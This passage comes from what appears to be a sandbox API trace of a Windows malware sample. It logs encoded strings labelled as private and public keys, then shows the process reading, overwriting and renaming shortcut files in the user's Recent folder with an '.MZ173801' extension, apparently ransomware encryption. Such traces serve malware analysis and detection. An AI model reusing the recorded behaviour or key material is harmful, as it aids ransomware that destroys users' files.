lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0148.587] GetCurrentThreadId () returned 0xab4 [0148.587] GetCurrentThreadId () returned 0xab4 [0148.587] GetCurrentThreadId () returned 0xab4 [0148.588] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0148.588] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0148.588] GetCurrentThreadId () returned 0xab4 [0148.588] GetCurrentThreadId () returned 0xab4 [0148.588] GetCurrentThreadId () returned 0xab4 [0148.588] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\LFHpZh3EGDvVG.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\lfhpzh3egdvvg.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0148.589] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0148.589] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0148.589] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x481 [0148.589] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0148.589] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x481, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x481, lpOverlapped=0x0) returned 1 [0148.590] CloseHandle (hObject=0x280) returned 1 [0148.590] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\LFHpZh3EGDvVG.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\lfhpzh3egdvvg.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0148.591] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x481, lpOverlapped=0x0) returned 1 [0148.593] CloseHandle (hObject=0x280) returned 1 [0148.641] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\LFHpZh3EGDvVG.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\lfhpzh3egdvvg.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\LFHpZh3EGDvVG.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\lfhpzh3egdvvg.lnk.mz173801")) returned 1 [0148.642] GetCurrentThreadId () returned 0xab4 [0148.642] GetCurrentThreadId () returned 0xab4 [0148.642] GetCurrentThreadId () returned 0xab4 [0148.642] GetCurrentThreadId () returned 0xab4 [0148.642] GetCurrentThreadId () returned 0xab4 [0148.642] GetCurrentThreadId () returned 0xab4 [0148.642] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1134b64, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf1134b64, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf1134b64, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x30b, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="LmhsbTNLSJY.lnk", cAlternateFileName="LMHSBT~1.LNK")) returned 1 [0148.642] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0148.642] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0148.642] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\LmhsbTNLSJY.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\lmhsbtnlsjy.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1134b64, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf1134b64, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf1134b64, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x30b)) returned 1 [0148.642] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\LmhsbTNLSJY.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\lmhsbtnlsjy.lnk")) returned 0x20 [0148.642] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\LmhsbTNLSJY.lnk", dwFileAttributes=0x80) returned 1 [0148.644] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0148.644] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0148.645] GetCurrentThreadId () returned 0xab4 [0148.645] GetCurrentThreadId () returned 0xab4 [0148.645] GetCurrentThreadId () returned 0xab4 [0148.645] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 